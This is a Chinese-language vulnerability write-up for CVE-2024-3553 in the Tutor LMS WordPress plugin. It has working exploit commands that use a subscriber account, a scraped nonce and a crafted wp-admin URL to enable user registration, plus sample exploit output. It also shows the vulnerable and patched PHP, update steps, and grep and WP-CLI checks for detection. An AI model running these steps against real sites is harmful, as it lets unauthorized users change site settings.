# 全自动化利用
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# 仅检查注册状态
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

# 以订阅者或任意经过身份验证的用户身份登录
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

# 任意经过身份验证的用户都可以访问 /wp-admin/（即使是订阅者也可）
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

# 发送请求以启用用户注册
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

# 检查注册是否已启用
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

# 作为任意经过身份验证的用户，只需访问：
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

======================================================================
CVE-2024-3553 Exploit - Tutor LMS 缺失授权
目标: https://target.com
======================================================================

[*] 正在检查当前注册状态...
[+] 当前注册已禁用

[*] 正在尝试以用户身份登录: subscriber
[+] 已成功以用户身份登录: subscriber

[*] 步骤2：正在从管理区域提取nonce...
[+] 找到nonce: abc123def456

[*] 步骤3：正在执行利用以启用用户注册...
[*] 目标: https://target.com
[*] 使用的nonce: abc123def456
[*] 利用URL: https://target.com/wp-admin/index.php
[*] 参数: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] 响应状态: 200
[+] 利用请求已成功发送！

[*] 步骤4：正在验证利用成功...
[+] 当前注册已启用

======================================================================
[!] 利用成功！
[!] 用户注册现已启用
[!]
[!] 影响：拥有低权限账户（订阅者）的攻击者
[!] 能够在已禁用注册的站点上启用用户注册。
[!] 这可能导致创建额外账户，进而引发垃圾信息或未经授权的访问。
======================================================================

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 关键缺陷：is_admin() 仅检查是否在管理区域，而非用户角色！
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // 未进行权限检查 - 任意经过身份验证的用户均可执行此操作！
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // 安全修复：添加了权限检查
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // 现在已得到适当保护
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

if ( is_admin() ) {
    // 误以为此处意味着“用户是管理员”
    update_option( 'sensitive_option', $value );
}

if ( current_user_can( 'manage_options' ) ) {
    // 实际检查用户是否具有管理员权限
    update_option( 'sensitive_option', $value );
}

# 通过WP-CLI
wp plugin update tutor --version=2.7.0

# 通过WordPress管理后台
仪表盘 → 插件 → 找到“Tutor LMS” → 点击“现在更新”

# 检查注册设置是否最近被修改
wp option get users_can_register

# 查看近期用户注册记录
wp user list --orderby=registered --order=DESC --number=20

# 1. 搜索 is_admin() 而未附带权限检查
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. 查找直接更新选项的代码
grep -r "update_option\|add_option" .

# 3. 查找未附带权限检查的AJAX处理程序
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"